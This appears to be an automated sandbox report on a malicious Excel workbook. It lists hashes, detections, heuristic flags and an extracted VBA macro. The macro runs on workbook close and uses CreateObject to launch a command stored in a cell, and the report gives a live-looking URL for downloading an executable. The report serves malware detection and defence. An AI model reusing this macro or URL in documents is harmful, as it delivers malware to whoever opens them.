Office (OOXML) malware analysis — malicious · 031e8d7615486b28

MALICIOUS

Office (OOXML)

21.6 KB First seen: 2020-11-12

MD5: f8dd30afeb9ed5c2bbeabd829c19a7e6 SHA-1: d1de395a362f1560a4850389c0b9de595d010dc2 SHA-256: 031e8d7615486b280341de7275931db27d6acab03f680b62b91bf7551390dfdb

222 Risk Score

Heuristics 5

ClamAV: Xls.Malware.Sagent-10035294-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Malware.Sagent-10035294-0
LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND

Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
VBA project inside OOXML medium 1 related finding OOXML_VBA

Document contains a VBA project — VBA macros present
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Matched line in script
```
Set mapyavzosstuheocluguqwaew  = CreateObject(Range("A4").Value)
```
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://185.212.128.97/tyx.exe In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	1310 bytes
SHA-256: `abe703c9979e5e44d63463daf184d8dfb23bd181f828f82ac44912253d5b74de`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_BeforeClose(Cancel As Boolean) Range("A1:J15").Select Selection.Font.Bold = True Selection.Font.Italic = True Selection.Font.Underline = xlUnderlineStyleSingle wnldupvzatxgfwaigeqkwbehi = Range("A3").Value With Selection .HorizontalAlignment = xlCenter .VerticalAlignment = xlBottom .WrapText = False .Orientation = 0 .AddIndent = False .IndentLevel = 0 .ShrinkToFit = False .ReadingOrder = xlContext .MergeCells = False End With Range("M5").Select Set mapyavzosstuheocluguqwaew = CreateObject(Range("A4").Value) Dim zejvpgfkzdykvzsxbweezefvd zejvpgfkzdykvzsxbweezefvd = mapyavzosstuheocluguqwaew.Create(wnldupvzatxgfwaigeqkwbehi) End Sub Attribute VB_Name = "vthhutoppacttifiqskxiyupf" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	5120 bytes
SHA-256: `baf643a87eab81878ab138a3024dbc9ab8b11d79a0af289cc1b3b5feead8d680`
Detection ClamAV: Xls.Malware.Sagent-10035294-0 Obfuscation or payload: unlikely

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